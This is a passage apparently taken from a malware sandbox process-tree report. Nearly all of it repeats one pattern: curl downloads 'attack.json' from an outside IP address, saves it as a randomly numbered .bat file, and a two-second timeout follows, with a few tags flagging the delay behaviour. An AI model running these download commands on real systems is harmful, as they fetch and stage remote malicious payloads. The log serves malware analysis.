  Timeout /t 2 /nobreak
  2⤵
  PID:5116
- C:\Windows\system32\curl.exe
  curl -o 15910.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:2628
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:1664
- C:\Windows\system32\curl.exe
  curl -o 1916.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:2300
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:4004
- C:\Windows\system32\curl.exe
  curl -o 30009.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:1332
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:1124
- C:\Windows\system32\curl.exe
  curl -o 12088.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:1264
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:1120
- C:\Windows\system32\curl.exe
  curl -o 5700.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:1732
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:4944
- C:\Windows\system32\curl.exe
  curl -o 1528.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:2228
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:2892
- C:\Windows\system32\curl.exe
  curl -o 23686.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:4824
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:2316
- C:\Windows\system32\curl.exe
  curl -o 27468.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:1336
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:376
- C:\Windows\system32\curl.exe
  curl -o 15702.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:1956
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:888
- C:\Windows\system32\curl.exe
  curl -o 27414.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:5088
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:4012
- C:\Windows\system32\curl.exe
  curl -o 22890.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:380
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:4520
- C:\Windows\system32\curl.exe
  curl -o 15910.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:2492
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:3156
- C:\Windows\system32\curl.exe
  curl -o 32124.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:5060
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:2908
- C:\Windows\system32\curl.exe
  curl -o 16589.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:2176
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:4420
- C:\Windows\system32\curl.exe
  curl -o 21776.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:2440
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  - Delays execution with timeout.exe
  PID:2320
- C:\Windows\system32\curl.exe
  curl -o 5905.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:3004
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:180
- C:\Windows\system32\curl.exe
  curl -o 18532.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:1884
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:3860
- C:\Windows\system32\curl.exe
  curl -o 13149.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:4300
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:2624
- C:\Windows\system32\curl.exe
  curl -o 1738.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:4852
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:3200
- C:\Windows\system32\curl.exe
  curl -o 23530.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:5100
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  - Delays execution with timeout.exe
  PID:4808
- C:\Windows\system32\curl.exe
  curl -o 2309.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:4492
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:1828
- C:\Windows\system32\curl.exe
  curl -o 27698.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:2136
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:452
- C:\Windows\system32\curl.exe
  curl -o 29536.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:4392
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  - Delays execution with timeout.exe
  PID:1516
- C:\Windows\system32\curl.exe
  curl -o 15143.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:2936
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:4712
- C:\Windows\system32\curl.exe
  curl -o 15760.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:2060
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  - Delays execution with timeout.exe
  PID:3468
- C:\Windows\system32\curl.exe
  curl -o 5131.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:3120
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:3444
- C:\Windows\system32\curl.exe
  curl -o 30376.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:2332
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:2304
- C:\Windows\system32\curl.exe
  curl -o 24344.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:2508
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:420
- C:\Windows\system32\curl.exe
  curl -o 28067.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:4044
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  - Delays execution with timeout.exe
  PID:1692
- C:\Windows\system32\curl.exe
  curl -o 16475.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:416
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:4972
- C:\Windows\system32\curl.exe
  curl -o 2902.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:4088
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:5104
- C:\Windows\system32\curl.exe
  curl -o 26221.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:3080
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:3904
- C:\Windows\system32\curl.exe
  curl -o 20672.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:4348
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:2748
- C:\Windows\system32\curl.exe
  curl -o 20463.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:4976
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  - Delays execution with timeout.exe
  PID:2688
- C:\Windows\system32\curl.exe
  curl -o 17686.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:2040
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:1420
- C:\Windows\system32\curl.exe
  curl -o 17913.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:2380
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:3492
- C:\Windows\system32\curl.exe
  curl -o 14591.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:2400
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:4256
- C:\Windows\system32\curl.exe
  curl -o 31442.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:1444
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:512
- C:\Windows\system32\curl.exe
  curl -o 12504.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:1324
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:2484
- C:\Windows\system32\curl.exe
  curl -o 30645.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:1116
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:3284
- C:\Windows\system32\curl.exe
  curl -o 5631.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:5012
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:3660
- C:\Windows\system32\curl.exe
  curl -o 6510.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:2892
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:4464
- C:\Windows\system32\curl.exe
  curl -o 3947.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:2316
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:1336
- C:\Windows\system32\curl.exe
  curl -o 6920.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:376
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:1956
- C:\Windows\system32\curl.exe
  curl -o 9250.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:5068
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:776
- C:\Windows\system32\curl.exe
  curl -o 26355.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:3212
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:3532
- C:\Windows\system32\curl.exe
  curl -o 7758.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:2992
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:2644
- C:\Windows\system32\curl.exe
  curl -o 27205.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:1432
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:3524
- C:\Windows\system32\curl.exe
  curl -o 7162.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:2008
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:4420
- C:\Windows\system32\curl.exe
  curl -o 17149.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:980
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:4440
- C:\Windows\system32\curl.exe
  curl -o 25283.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:3244
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:4356
- C:\Windows\system32\curl.exe
  curl -o 10614.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:4196
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:628
- C:\Windows\system32\curl.exe
  curl -o 30206.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:1156
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:2960
- C:\Windows\system32\curl.exe
  curl -o 13937.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:4032
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:996
- C:\Windows\system32\curl.exe
  curl -o 11044.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:5092
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:4024
- C:\Windows\system32\curl.exe
  curl -o 29272.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:1616
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  - Delays execution with timeout.exe
  PID:2912
- C:\Windows\system32\curl.exe
  curl -o 5762.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:4808
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:4492
- C:\Windows\system32\curl.exe
  curl -o 16295.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:2804
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:2168
- C:\Windows\system32\curl.exe
  curl -o 14970.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:4940
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:2352
- C:\Windows\system32\curl.exe
  curl -o 422.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:4452
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:4404
- C:\Windows\system32\curl.exe
  curl -o 30182.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:4192
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  - Delays execution with timeout.exe
  PID:2340
- C:\Windows\system32\curl.exe
  curl -o 10703.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:3444
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:868
- C:\Windows\system32\curl.exe
  curl -o 21068.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:3356
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:3996
- C:\Windows\system32\curl.exe
  curl -o 27034.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:4044
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:1452
- C:\Windows\system32\curl.exe
  curl -o 6413.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:416
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:1576
- C:\Windows\system32\curl.exe
  curl -o 29581.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:4088
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:1580
- C:\Windows\system32\curl.exe
  curl -o 3765.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:3080
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  - Delays execution with timeout.exe
  PID:3308
- C:\Windows\system32\curl.exe
  curl -o 19890.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:2748
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:4280
- C:\Windows\system32\curl.exe
  curl -o 28176.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:2708
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:4020
- C:\Windows\system32\curl.exe
  curl -o 2279.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:2040
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:1556
- C:\Windows\system32\curl.exe
  curl -o 18617.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:4536
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:772
- C:\Windows\system32\curl.exe
  curl -o 2992.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:1424
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:2300
- C:\Windows\system32\curl.exe
  curl -o 24884.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:1720
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:4624
- C:\Windows\system32\curl.exe
  curl -o 21601.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:1264
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:2988
- C:\Windows\system32\curl.exe
  curl -o 29401.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:1116
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:4632
- C:\Windows\system32\curl.exe
  curl -o 30180.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:4944
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:3280
- C:\Windows\system32\curl.exe
  curl -o 15898.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:1644
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:2436
- C:\Windows\system32\curl.exe
  curl -o 27494.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:2316
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:1360
- C:\Windows\system32\curl.exe
  curl -o 9189.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:864
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:840
- C:\Windows\system32\curl.exe
  curl -o 685.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:4040
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:1416
- C:\Windows\system32\curl.exe
  curl -o 12598.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:3476
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  - Delays execution with timeout.exe
  PID:3132
- C:\Windows\system32\curl.exe
  curl -o 23018.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:1852
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:3900
- C:\Windows\system32\curl.exe
  curl -o 17426.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:3156
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:5060
- C:\Windows\system32\curl.exe
  curl -o 5438.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:736
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:2176
- C:\Windows\system32\curl.exe
  curl -o 32130.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:4564
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:3416
- C:\Windows\system32\curl.exe
  curl -o 20814.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:2440
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:4560
- C:\Windows\system32\curl.exe
  curl -o 4173.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:3004
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:2680
- C:\Windows\system32\curl.exe
  curl -o 17310.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:2736
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:4488
- C:\Windows\system32\curl.exe
  curl -o 14964.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:1156
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:4336
- C:\Windows\system32\curl.exe
  curl -o 16004.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:2700
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:4784
- C:\Windows\system32\curl.exe
  curl -o 26574.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:3620
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:4808
- C:\Windows\system32\curl.exe
  curl -o 15858.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:4388
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:3464
- C:\Windows\system32\curl.exe
  curl -o 11821.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:2648
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:2108
- C:\Windows\system32\curl.exe
  curl -o 2931.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:4468
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  - Delays execution with timeout.exe
  PID:2060
- C:\Windows\system32\curl.exe
  curl -o 6127.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:2236
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:4400
- C:\Windows\system32\curl.exe
  curl -o 15103.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:1928
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:2588
- C:\Windows\system32\curl.exe
  curl -o 6131.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:420
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:2820
- C:\Windows\system32\curl.exe
  curl -o 3997.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:1692
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:3260
- C:\Windows\system32\curl.exe
  curl -o 6719.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:1496
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:3512
- C:\Windows\system32\curl.exe
  curl -o 3563.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:5104
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:4516
- C:\Windows\system32\curl.exe
  curl -o 32481.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:4708
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:3104
- C:\Windows\system32\curl.exe
  curl -o 29695.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:4496
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  - Delays execution with timeout.exe
  PID:5052
- C:\Windows\system32\curl.exe
  curl -o 30930.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:1964
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:4556
- C:\Windows\system32\curl.exe
  curl -o 18755.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:2380
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:3536
- C:\Windows\system32\curl.exe
  curl -o 22749.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:1308
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:2860
- C:\Windows\system32\curl.exe
  curl -o 3640.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:1240
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:1124
- C:\Windows\system32\curl.exe
  curl -o 19676.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:4720
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:32
- C:\Windows\system32\curl.exe
  curl -o 4931.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:2592
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:184
- C:\Windows\system32\curl.exe
  curl -o 7627.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:1912
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:2260
- C:\Windows\system32\curl.exe
  curl -o 30446.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:4548
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:4460
- C:\Windows\system32\curl.exe
  curl -o 2942.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:888
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:1336
- C:\Windows\system32\curl.exe
  curl -o 3921.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:4172
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:632
- C:\Windows\system32\curl.exe
  curl -o 6912.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:836
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  - Delays execution with timeout.exe
  PID:5068
- C:\Windows\system32\curl.exe
  curl -o 24430.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:776
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:3476
- C:\Windows\system32\curl.exe
  curl -o 5344.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:3168
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:3084
- C:\Windows\system32\curl.exe
  curl -o 202.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:2208
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:2724
- C:\Windows\system32\curl.exe
  curl -o 6906.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:2992
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:2176
- C:\Windows\system32\curl.exe
  curl -o 27282.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:2244
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:4420
- C:\Windows\system32\curl.exe
  curl -o 14720.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:2440
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:2064
- C:\Windows\system32\curl.exe
  curl -o 2817.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:2180
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:2924
- C:\Windows\system32\curl.exe
  curl -o 13646.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:180
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:4080
- C:\Windows\system32\curl.exe
  curl -o 3304.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:4584
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:1588
- C:\Windows\system32\curl.exe
  curl -o 10698.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:2624
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:1624
- C:\Windows\system32\curl.exe
  curl -o 12933.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:1500
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:1616
- C:\Windows\system32\curl.exe
  curl -o 23265.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:4648
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:3464
- C:\Windows\system32\curl.exe
  curl -o 14352.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:2168
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:3984
- C:\Windows\system32\curl.exe
  curl -o 1000.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:4916
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:3468
- C:\Windows\system32\curl.exe
  curl -o 931.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:3348
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:4200
- C:\Windows\system32\curl.exe
  curl -o 29275.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:1712
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:3356
- C:\Windows\system32\curl.exe
  curl -o 21862.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:420
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  - Delays execution with timeout.exe
  PID:2820
- C:\Windows\system32\curl.exe
  curl -o 29659.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:3396
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:3608
- C:\Windows\system32\curl.exe
  curl -o 556.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:3472
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:3556
- C:\Windows\system32\curl.exe
  curl -o 6361.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:1476
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:2872
- C:\Windows\system32\curl.exe
  curl -o 21474.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:5104
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:4708
- C:\Windows\system32\curl.exe
  curl -o 6603.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:3104
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:4496
- C:\Windows\system32\curl.exe
  curl -o 18041.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:4976
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:2688
- C:\Windows\system32\curl.exe
  curl -o 23267.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:1752
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
